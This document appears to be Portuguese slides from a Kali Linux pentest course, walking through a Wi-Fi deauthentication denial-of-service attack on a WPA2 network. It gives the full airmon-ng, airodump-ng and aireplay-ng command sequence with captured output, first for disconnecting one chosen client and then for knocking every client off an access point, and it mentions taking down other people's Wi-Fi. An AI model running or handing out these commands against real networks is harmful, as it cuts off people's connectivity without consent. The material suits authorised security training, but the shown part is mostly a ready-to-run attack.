Pentest com Kali Linux

Instrutor:Vitor Mazuco

http://facebook.com/vitormazuco

Email:vitor.mazuco@gmail.com

WebSite:http://vmzsolutions.com.br

Cracking WPA-PSK

Apenas alguns modelos de Wi-fi permite a derrubada de wi-fi alheia, e também trabalham melhor com o Kali Linux são:

- Atheros AR9271
- Ralink RT3070
- Ralink RT3572
- Realtek 8187L (Wireless G adapters)

DoS attacks de Desautenticação

Antes disso, habilite a sua placa de modo de monitor e use o driver dela

```
# airmon-ng start wlan0


# iwconfig
```

DoS attacks de Desautenticação

Primeiro, temos que ver os pontos de acesso ao redor:

```
# airodump-ng wlan0mon
```

DoS attacks de Desautenticação

Depois, veja os clientes que estão conectados a esse ponto Wi-Fi:

airodump-ng --bssid 6A:15:90:F4:4D:82 --channel 9 wlan0mon

```
CH  9 ][ Elapsed: 36 s ][ 2016-10-18 14:50 ][ WPA handshake: 6A:15:90:F4:4D:82

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

6A:15:90:F4:4D:82  -39  83      382      286    9   9  54e  WPA2 CCMP   PSK  TBDT

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

6A:15:90:F4:4D:82  F8:F1:B6:E8:E6:2A  -27    0e- 1      0      192  TBDT

root@kali:~#
```

DoS attacks de Desautenticação

Agora, vamos ao ataque!

aireplay-ng -0 200 -a 6A:15:90:F4:4D:82 -c F8:F1:B6:E8:E6:2A

--ignore-negative-one wlan0mon

```
root@kali:~# aireplay-ng -0 200 -a 6A:15:90:F4:4D:82 -c F8:F1:B6:E8:E6:2A --ignore-negative-one wlan0mon
14:55:17  Waiting for beacon frame (BSSID: 6A:15:90:F4:4D:82) on channel 9
14:55:17  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [13|64 ACKs]
14:55:18  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|52 ACKs]
14:55:18  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 1|67 ACKs]
14:55:19  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|60 ACKs]
14:55:20  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|66 ACKs]
14:55:20  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|64 ACKs]
14:55:21  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|62 ACKs]
14:55:21  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|65 ACKs]
14:55:22  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|67 ACKs]
14:55:22  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|63 ACKs]
14:55:23  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|63 ACKs]
14:55:23  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|66 ACKs]
14:55:24  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|63 ACKs]
14:55:24  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|64 ACKs]
14:55:25  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|64 ACKs]
14:55:26  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0|60 ACKs]
14:55:26  Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 1|71 ACKs]
^C
```

DoS attacks de Desautenticação

Agora, veja se o cliente está conectado ao ponto de acesso!

airodump-ng --bssid 6A:15:90:F4:4D:82 --channel 9 wlan0mon

```
CH  9 ][ Elapsed: 0 s ][ 2016-10-18 14:58

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

6A:15:90:F4:4D:82  -39  63       31        22   10   9  54e  WPA2 CCMP   PSK  TBDT

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

6A:15:90:F4:4D:82  F8:F1:B6:E8:E6:2A  -37    0e- 1    107        11
```

Você também pode derrubar TODO o ponto de Wi-Fi

```
# aireplay-ng -0 200 -a 6A:15:90:F4:4D:82  --ignore-negative-one
wlan0mon
```